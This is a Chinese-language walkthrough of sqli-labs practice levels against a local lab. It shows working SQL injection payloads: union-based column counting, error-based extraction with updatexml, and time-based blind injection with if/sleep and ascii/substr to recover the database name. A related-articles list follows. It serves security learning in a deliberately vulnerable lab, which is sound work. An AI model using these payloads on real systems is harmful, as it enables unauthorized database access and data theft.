sql注入

less-01

我们需要输入一个id,那么试着来传入id=1

可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入

判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:

可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:

?id=1' order by 3--+

?id=1' order by 4--+

?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+

从上面两中方式都可以判断出数据库是有3列的

less-04

尝试闭合查看是否存在SQL注入

less-05

报错注入: updatexml(1,conncat(),1)只能显示32位和 extractvalue()

sql="SELECT \* FROM users WHERE id='id' LIMIT 0,1";

#注入点不变但因为输出内容改变,所有更换注入方式

#正确输出为此

echo 'You are in...........';

#错误输出为此

print_r(mysqli_error($con1));

复制代码
http://127.0.0.1:8080/sqli-labs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23

less-09

时间盲注

手工注入

因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在就是存在时间盲注,这里会使用if和sleep函数来进行判断

if的语法三元运算符函数

语法:IF(condition, value_if_true, value_if_false)

condition是一个条件表达式,如果条件成立,则返回value_if_true,否则返回value_if_false。

复制代码
?id=1' and if(length(database())=1,sleep(5),1)--+ 延时
?id=1' and if(length(database())=10,sleep(5),1)--+ 正常
?id=1' and if(length(database())=7,sleep(5),1)--+  延时
?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常

可以看到这里可以注入出数据库的长度是7,然后就是使用ascii+sleep来注入出数据库的名称

复制代码
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常
...
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延时
?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延时

可以看到注入出了数据库的第一个字符是ASCII的值为115,对应的是's',然后就不断变换,最终得到数据库名为:security,那么现在数据库已经知道了,后面的表名、列名,数据都可以使用同样的方法注入出来了

相关推荐
鸽芷咕6 小时前
KingbaseES 调参先看执行计划,参数是答案不是起点
数据库
这个DBA有点耶6 小时前
MySQL 8.0直方图:统计信息升级了,执行计划为什么还是选错?
数据库·mysql·代码规范
老纪的技术唠嗑局8 小时前
把 seekdb 塞进 iOS App:让混合检索嵌入手机
数据库
ClouGence9 小时前
开源数据库管理工具 CloudDM 新版本发布,支持 OpenSearch、IoTDB 数据源
数据库·开源
徐小黑ACG9 小时前
Redis-基础
数据库·redis·缓存
火山引擎开发者社区9 小时前
案例实践 | 让 Agent 读懂业务口径:ContextSearch 在广告数据查询中的实践
数据库
10年前端老司机11 小时前
Milvus 8种检索能力实践
数据库·python·agent
Decay__11 小时前
14_MySQL 高可用与容灾架构 —— MGR / InnoDB Cluster / Keepalived+VIP / 双主 / 读写分离 / 两地三中心
运维·数据库·sql·mysql·架构
freejackman11 小时前
【实战三】撕开脱敏盲区:深度解析 CASE WHEN 与窗口函数血缘
大数据·数据库·sql
codigger13 小时前
线上数据库连接池打满:从应急止损到架构根治的完整方案
数据库·sql·程序员